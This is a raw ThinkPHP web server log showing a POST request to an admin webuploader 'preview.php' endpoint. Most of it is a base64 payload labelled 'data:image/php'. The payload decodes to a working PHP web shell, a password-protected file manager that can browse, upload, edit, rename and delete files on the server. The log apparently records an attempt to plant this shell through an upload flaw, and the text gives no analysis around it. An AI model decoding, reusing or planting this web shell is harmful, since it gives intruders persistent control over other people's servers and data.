IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:06+08:00 ] 119.42.146.234 POST 51tianwei.com/admin/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002728s] [吞吐率:366.57req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRh